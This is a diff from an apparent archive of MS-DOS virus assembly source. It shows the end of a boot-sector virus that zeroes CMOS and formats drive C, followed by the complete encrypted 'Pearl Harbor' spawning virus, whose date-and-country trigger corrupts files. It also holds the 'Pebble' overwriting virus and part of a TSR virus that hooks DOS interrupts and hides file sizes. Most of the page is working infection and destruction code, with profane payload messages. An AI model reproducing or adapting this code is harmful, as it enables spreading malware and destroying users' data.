MOV DH,BL ;set head # to last head
|
||||
CLC ;clear carry flag to indicate success
|
||||
RET
|
||||
|
||||
BPB_FAIL:
|
||||
STC ;set carry flag to indicate failure
|
||||
RET
|
||||
|
||||
BIOS_INT13:
|
||||
PUSHF ;push flags
|
||||
CS:
|
||||
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
|
||||
RET ;address
|
||||
|
||||
;****************************************************************************
|
||||
;Check date for activation (routine modified to prevent activation).
|
||||
|
||||
CHECK_DATE:
|
||||
MOV AH,04 ;request date function
|
||||
INT 01A ;request date
|
||||
CMP DX,02BAD ;check for trigger date
|
||||
JE ZAP_CMOS ;the route to unethical (and illegal)
|
||||
RET ;behavior
|
||||
|
||||
;****************************************************************************
|
||||
;Clear contents of CMOS system configuration memory.
|
||||
|
||||
ZAP_CMOS:
|
||||
MOV CX,00FF ;set CMOS count (03Ch would have been
|
||||
;adequate, according to my reference)
|
||||
ZCLP1: MOV DX,0070 ;set port #70h
|
||||
MOV AL,CL ;set configuration address
|
||||
OUT DX,AL ;select CMOS address
|
||||
JMP WHY ;don't understand the need for this
|
||||
WHY: INC DX ;set port #71h
|
||||
XOR AL,AL ;set data value to zero
|
||||
OUT DX,AL ;write data value to CMOS
|
||||
LOOP ZCLP1 ;do it until CMOS count = 0
|
||||
|
||||
;*****************************************************************************
|
||||
;Obtain format data from fixed disk "C" partition table.
|
||||
|
||||
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
|
||||
AND DI,-040 ;mask out ending sector number
|
||||
MOV CL,06 ;load CL with number of shifts
|
||||
SHR DI,CL ;shift to obtain ending cylinder #
|
||||
MOV AL,[03C3] ;ending head # from partition table
|
||||
XOR AH,AH ;zero AH
|
||||
XCHG BP,AX ;store ending head # in BP
|
||||
MOV BX,01F5 ;point to sector format info. table
|
||||
MOV DX,0080 ;select fixed disk "C"
|
||||
|
||||
;*****************************************************************************
|
||||
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
|
||||
;this routine is correct, it formats each platter side before incrementing the
|
||||
;head count to format the next platter. The destructive "advantage" of this,
|
||||
;I believe, would be that the deletion of code segments from large numbers
|
||||
;of files would be accomplished very quickly, rendering executable or ZIPed
|
||||
;files as useless as if they were totally deleted, but in a much shorter time.
|
||||
|
||||
TRASH_HD:
|
||||
XOR CX,CX ;set cylinder # to zero
|
||||
|
||||
FORMAT_TRACK:
|
||||
MOV AX,0501 ;format-track function, interleave 1
|
||||
CALL BIOS_INT13 ;format track (cylinder)
|
||||
AND CL,0C0 ;mask for cylinder # bits 6-7
|
||||
ROL CL,01 ;shift to bits 6-7 of cylinder number
|
||||
ROL CL,01 ;into bottom two (0-1) bits of CL
|
||||
XCHG CL,CH ;put bottom two bits in CH to match
|
||||
;DI bit arrangement
|
||||
INC CX ;increment track count
|
||||
CMP CX,DI ;last cylinder (CX bit pattern match
|
||||
;DI bit pattern)?
|
||||
JA NEXT_HEAD ;if so, increment head number
|
||||
XCHG CL,CH ;put CL back to where it started
|
||||
ROR CL,01 ;shift to obtain
|
||||
ROR CL,01 ;original value
|
||||
JMP FORMAT_TRACK ;format next track
|
||||
|
||||
NEXT_HEAD:
|
||||
INC DH ;increment head number
|
||||
MOV AX,BP ;load AX with last head number
|
||||
CMP DH,AL ;last head?
|
||||
JBE TRASH_HD ;if not, do it again
|
||||
|
||||
;****************************************************************************
|
||||
;Display activation message.
|
||||
|
||||
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
|
||||
DMLP1: CLD ;clear direction flag (fwd)
|
||||
LODSB ;load character of message
|
||||
OR AL,AL ;check for text end (0)
|
||||
JZ LOCK_IT_UP ;if end of message, lock up system
|
||||
MOV AH,0E ;select write-character function
|
||||
XOR BX,BX ;page 0, color 0
|
||||
INT 010 ;display character on screen
|
||||
JMP DMLP1 ;do it all again
|
||||
|
||||
LOCK_IT_UP:
|
||||
CLI ;disable interrupts
|
||||
HLT ;select 0.0 Mips mode
|
||||
|
||||
;*****************************************************************************
|
||||
;Storage area for BIOS INT13 vector used by virus.
|
||||
|
||||
DB ? ;Pad byte (A86 assembly only)
|
||||
DW ? ;BIOS INT13 offset storage location
|
||||
DW ? ;BIOS INT13 segment storage location
|
||||
|
||||
;*****************************************************************************
|
||||
;Text strings for activation message.
|
||||
|
||||
MESSAGE_TEXT:
|
||||
DB 0A,0D ;linefeed, carriage ret.
|
||||
DB "That was for ARCV, mother fucker!"
|
||||
DB 0A,0A,0D ;linefeed x 2, car. ret.
|
||||
DB "Payback! (c) 1993"
|
||||
DB 0A,0D ;linefeed, carriage ret.
|
||||
|
||||
;*****************************************************************************
|
||||
;End-of-boot sector pad bytes and valid boot sector tag bytes.
|
||||
|
||||
DB 10 DUP ? ;pad bytes
|
||||
DB 055,0AA ;valid boot sector tag
|
||||
|
||||
;****************************************************************************
|
||||
;Start of space reserved for disk I/O
|
||||
|
||||
MBR_BUFFER:
|
||||
|
||||
DB 512 DUP ? ;reserve one sectors worth of space
|
||||
|
||||
;****************************************************************************
|
||||
;Storage location for INT13 vector used by dropper routine.
|
||||
|
||||
VECT_INT13:
|
||||
|
||||
DD ? ;BIOS INT13 offset/segment storage
|
||||
|
||||
MAIN ENDS
|
||||
|
1428
MSDOS/Virus.MSDOS.Unknown.pcbb-11.asm
Normal file
1428
MSDOS/Virus.MSDOS.Unknown.pcbb-11.asm
Normal file
File diff suppressed because it is too large
Load Diff
1428
MSDOS/Virus.MSDOS.Unknown.pcbb.asm
Normal file
1428
MSDOS/Virus.MSDOS.Unknown.pcbb.asm
Normal file
File diff suppressed because it is too large
Load Diff
1428
MSDOS/Virus.MSDOS.Unknown.pcbb3072.asm
Normal file
1428
MSDOS/Virus.MSDOS.Unknown.pcbb3072.asm
Normal file
File diff suppressed because it is too large
Load Diff
1
MSDOS/Virus.MSDOS.Unknown.pe#1.asm
Normal file
1
MSDOS/Virus.MSDOS.Unknown.pe#1.asm
Normal file
File diff suppressed because one or more lines are too long
1
MSDOS/Virus.MSDOS.Unknown.pe%231.asm
Normal file
1
MSDOS/Virus.MSDOS.Unknown.pe%231.asm
Normal file
File diff suppressed because one or more lines are too long
1
MSDOS/Virus.MSDOS.Unknown.pe_231.asm
Normal file
1
MSDOS/Virus.MSDOS.Unknown.pe_231.asm
Normal file
File diff suppressed because one or more lines are too long
434
MSDOS/Virus.MSDOS.Unknown.pearlhbr.asm
Normal file
434
MSDOS/Virus.MSDOS.Unknown.pearlhbr.asm
Normal file
@ -0,0 +1,434 @@
|
||||
; PEARLHBR.ASM -- Pearl Harbor Virus
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
|
||||
virus_type equ 2 ; Spawning Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
call get_month
|
||||
cmp ax,000Ch ; Did the function return 12?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0007h ; Did the function return 7?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
end00: call get_country
|
||||
cmp ax,0051h ; Did the function return 81?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_month
|
||||
cmp ax,000Ch ; Did the function return 12?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0007h ; Did the function return 7?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
jmp short strt01 ; Success -- skip jump
|
||||
skip01: jmp end01 ; Skip the routine
|
||||
strt01: mov dx,offset data01 ; DX points to data
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to stack frame
|
||||
sub sp,4096 ; Allocate 4096-byte buffer
|
||||
push di ; Save DI
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
mov di,bx ; DI points to DTA
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
int 021h
|
||||
jc corrupt_end ; If no files found then exit
|
||||
corrupt_file: mov ax,04301h ; DOS set file attributes function
|
||||
xor cx,cx ; File will have no attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; Transfer file handle to AX
|
||||
c_crypt_loop: mov ah,03Fh ; DOS read from file function
|
||||
mov cx,4096 ; Read 4k of characters
|
||||
lea dx,[bp - 4096] ; DX points to the buffer
|
||||
int 021h
|
||||
or ax,ax ; Were 0 bytes read?
|
||||
je close_c_file ; If so then close it up
|
||||
push ax ; Save AX
|
||||
lea si,[bp - 4096] ; SI points to the buffer
|
||||
xor ah,ah ; BIOS get clock ticks function
|
||||
int 01Ah
|
||||
pop cx ; CX holds number of bytes read
|
||||
push cx ; Save CX
|
||||
corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks
|
||||
inc si ; Do the next byte
|
||||
inc dx ; Change the key for next byte
|
||||
loop corrupt_bytes ; Repeat until buffer is done
|
||||
pop dx ; Restore DX (holds bytes read)
|
||||
push dx ; Save count for write
|
||||
mov ax,04201h ; DOS file seek function, current
|
||||
mov cx,0FFFFh ; Seeking backwards
|
||||
neg dx ; Seeking backwards
|
||||
int 021h
|
||||
mov ah,040h ; DOS write to file function
|
||||
pop cx ; CX holds number of bytes read
|
||||
lea dx,[bp - 4096] ; DX points to the buffer
|
||||
int 021h
|
||||
jmp short c_crypt_loop
|
||||
close_c_file: mov ax,05701h ; DOS set file date/time function
|
||||
mov cx,[di + 016h] ; CX holds old file time
|
||||
mov dx,[di + 018h] ; DX holds old file data
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
xor ch,ch ; Clear CH for attributes
|
||||
mov cl,[di + 015h] ; CL holds old attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc corrupt_file ; If successful do next file
|
||||
corrupt_end: pop di ; Restore DI
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
pop bp ; Restore BP
|
||||
|
||||
end01:
|
||||
mov ah,04Ah ; DOS resize memory function
|
||||
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
|
||||
int 021h
|
||||
|
||||
mov sp,(finish - start) + 01100h ; Change top of stack
|
||||
|
||||
mov si,offset spawn_name ; SI points to true filename
|
||||
int 02Eh ; DOS execution back-door
|
||||
push ax ; Save return value for later
|
||||
|
||||
mov ax,cs ; AX holds code segment
|
||||
mov ds,ax ; Restore data segment
|
||||
mov es,ax ; Restore extra segment
|
||||
|
||||
call search_files ; Find and infect a file
|
||||
|
||||
pop ax ; AL holds return value
|
||||
mov ah,04Ch ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
|
||||
db 010h,07Ch,0E5h,00Ch,0DAh
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
mov dx,offset root ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
mov dx,offset all_files ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
mov dx,offset up_dir ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
mov dx,offset exe_mask ; DX points to "*.EXE"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
||||
traverse endp
|
||||
|
||||
db 0D0h,0DCh,083h,09Eh,044h
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 07Eh,0FFh,09Ah,025h,02Bh
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov di,bx ; DI points to the DTA
|
||||
|
||||
lea si,[di + 01Eh] ; SI points to file name
|
||||
mov dx,si ; DX points to file name, too
|
||||
mov di,offset spawn_name + 1; DI points to new name
|
||||
xor ah,ah ; AH holds character count
|
||||
transfer_loop: lodsb ; Load a character
|
||||
or al,al ; Is it a NULL?
|
||||
je transfer_end ; If so then leave the loop
|
||||
inc ah ; Add one to the character count
|
||||
stosb ; Save the byte in the buffer
|
||||
jmp short transfer_loop ; Repeat the loop
|
||||
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
|
||||
mov byte ptr [di],13 ; Make CR the final character
|
||||
|
||||
mov di,dx ; DI points to file name
|
||||
xor ch,ch ;
|
||||
mov cl,ah ; CX holds length of filename
|
||||
mov al,'.' ; AL holds char. to search for
|
||||
repne scasb ; Search for a dot in the name
|
||||
mov word ptr [di],'OC' ; Store "CO" as first two bytes
|
||||
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
|
||||
|
||||
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||||
mov ax,03D00h ; DOS open file function, r/o
|
||||
int 021h
|
||||
jnc infection_done ; File already exists, so leave
|
||||
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||||
|
||||
mov ah,03Ch ; DOS create file function
|
||||
mov cx,00100111b ; CX holds file attributes (all)
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
spawn_name db 12,12 dup (?),13 ; Name for next spawn
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 038h,025h,0F2h,0EAh,074h
|
||||
|
||||
get_country proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to stack frame
|
||||
sub sp,34 ; Allocate 34 bytes on stack
|
||||
|
||||
mov ah,038h ; DOS get country function
|
||||
lea dx,[bp - 34] ; DX points to unused buffer
|
||||
int 021h
|
||||
|
||||
xchg bx,ax ; AX holds the country code
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
get_country endp
|
||||
|
||||
db 05Bh,02Dh,0FBh,03Ah,0E9h
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
db 049h,053h,0C8h,006h,095h
|
||||
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
|
||||
data00 db "December 7th, 1941 -- A day that will live in infamy...",13,10,13,10
|
||||
db 07,07,07
|
||||
db "*** REMEMBER PEARL HARBOR ***",13,10,0
|
||||
|
||||
data01 db "C:\*.*",0
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "Dedicated to the memories of t"
|
||||
db "he brave American men and wome"
|
||||
db "n who gave their lives at [Pea"
|
||||
db "rl Harbor].",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
|
||||
encrypt_code proc near
|
||||
mov si,offset encrypt_decrypt; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 8],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si],1 ;
|
||||
xor byte ptr [si + 7],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 10],0101h; (and vice-versa)
|
||||
|
||||
mov di,offset finish ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
mov si,offset write_stuff ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov dx,offset start ; DX points to virus
|
||||
|
||||
call finish ; Encrypt/write/decrypt
|
||||
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
66
MSDOS/Virus.MSDOS.Unknown.pebble.asm
Normal file
66
MSDOS/Virus.MSDOS.Unknown.pebble.asm
Normal file
@ -0,0 +1,66 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ PEBBLE ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 21-Feb-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_0001e equ 9Eh
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
pebble proc far
|
||||
|
||||
start:
|
||||
mov ah,4Eh ; 'N'
|
||||
mov cx,27h
|
||||
mov dx,12Ch
|
||||
loc_0001:
|
||||
int 21h ; DOS Services ah=function 4Fh
|
||||
; find next filename match
|
||||
jc loc_0002 ; Jump if carry Set
|
||||
call sub_0001
|
||||
mov ah,4Fh ; 'O'
|
||||
jmp short loc_0001
|
||||
loc_0002:
|
||||
int 20h ; DOS program terminate
|
||||
|
||||
pebble endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_0001 proc near
|
||||
mov ax,3D02h
|
||||
mov dx,data_0001e
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
mov ah,40h ; '@'
|
||||
mov cx,32h
|
||||
mov dx,100h
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
mov ah,3Eh ; '>'
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
retn
|
||||
sub_0001 endp
|
||||
|
||||
db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
716
MSDOS/Virus.MSDOS.Unknown.penis.asm
Normal file
716
MSDOS/Virus.MSDOS.Unknown.penis.asm
Normal file
@ -0,0 +1,716 @@
|
||||
;*****************************************************************************
|
||||
;* THE PENIS VIRUS
|
||||
;*
|
||||
;*
|
||||
;* By Soltan Griss [YAM]
|
||||
;*
|
||||
;*
|
||||
;*
|
||||
;*
|
||||
;* In no means was this intended to be a serious virus, I got bored one day
|
||||
;* and decided to have some fun.
|
||||
;*
|
||||
;*
|
||||
;* Well Here it is...
|
||||
;*
|
||||
;*****************************************************************************
|
||||
seg_a segment
|
||||
assume cs:seg_a,ds:seg_a,es:nothing
|
||||
|
||||
org 100h
|
||||
start: db 0E9h,02,00,42h,0f2h
|
||||
|
||||
mov cx,(old_21-old_8) ;RUN FIRST TIME ONLY
|
||||
mov si,offset old_8 ;encrypt All text messages
|
||||
call crypter
|
||||
|
||||
mov cx,(exec-data)
|
||||
mov si,offset data
|
||||
call crypter
|
||||
|
||||
|
||||
vstart equ $
|
||||
call code_start
|
||||
code_start:
|
||||
pop si
|
||||
sub si,offset code_start
|
||||
mov bp,si
|
||||
jmp load ;Load in the TSR
|
||||
;**************************************************************************
|
||||
|
||||
old_8 dw 0,0
|
||||
|
||||
new_8: push ax
|
||||
push bx ;lets run the clock
|
||||
push cx ;backwards
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov bx,ds:46Ch
|
||||
mov cx,ds:046Eh
|
||||
dec bx
|
||||
jno loc_4
|
||||
dec cx
|
||||
jno loc_4
|
||||
mov bx,0AFh
|
||||
mov cx,18h ;remember to do it twice
|
||||
loc_4: ;cause the normal increase
|
||||
dec bx ;will negate the first one
|
||||
jno loc_5
|
||||
dec cx
|
||||
jno loc_5
|
||||
mov bx,0AFh
|
||||
mov cx,18h
|
||||
loc_5:
|
||||
mov ds:046Eh,cx
|
||||
mov ds:046Ch,bx
|
||||
pop ds
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
do_old_8: jmp dword ptr cs:[old_8-vstart]
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;int 9 handler
|
||||
|
||||
old_9 dd ? ;Store old int 9
|
||||
|
||||
new_9:
|
||||
|
||||
push ax
|
||||
in al,60h ;Turn on Register 60
|
||||
cmp al,53h ;Ctrl-Alt-Del
|
||||
|
||||
je fuck_you
|
||||
pop ax
|
||||
jmp dword ptr cs:[(old_9-vstart)]
|
||||
|
||||
say_it: db "FUCK YOU ASSHOLE! ","$"
|
||||
|
||||
fuck_you:
|
||||
push ds
|
||||
push dx
|
||||
mov ah,9h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov dx,say_it-vstart ;Say message
|
||||
int 21h
|
||||
pop dx
|
||||
pop ds
|
||||
pop ax
|
||||
iret
|
||||
|
||||
|
||||
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
;***********************************************************************
|
||||
|
||||
old_21 dd ?
|
||||
|
||||
new_21:
|
||||
cmp ax,4b00h ;Are we executing?
|
||||
je exec1
|
||||
|
||||
cmp ah,11h
|
||||
je hide_size
|
||||
cmp ah,12h
|
||||
je hide_size
|
||||
cmp ax,0f242h ;Are we going resident?
|
||||
jne do_old
|
||||
mov bx,242fh ;Set our residency byte
|
||||
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
|
||||
exec1: jmp exec
|
||||
do_dir: jmp dword ptr cs:[(old_21-vstart)]
|
||||
ret
|
||||
|
||||
hide_size:
|
||||
pushf
|
||||
push cs
|
||||
call do_dir ;get the current FCB
|
||||
cmp al,00h
|
||||
jnz dir_error ;jump if bad FCB
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push es ;undocumented get FCB
|
||||
mov ah,51h ;location
|
||||
int 21h
|
||||
mov es,bx ;get info from FCB
|
||||
cmp bx,es:[16h]
|
||||
jnz not_inf
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;get DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al ;Check for extended FCB
|
||||
jnz normal_fcb
|
||||
add bx,7h
|
||||
normal_fcb:
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1fh
|
||||
xor al,01h ;check for 2 seconds
|
||||
jnz not_inf
|
||||
|
||||
and byte ptr es:[bx+17h],0e0h ;subtract virus size
|
||||
sub es:[bx+1dh],(vend-vstart)
|
||||
sbb es:[bx+1fh],ax
|
||||
not_inf:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
dir_error:
|
||||
iret ;back to caller
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
;***************************************************************************
|
||||
;* PICTURE TO DISPLAY
|
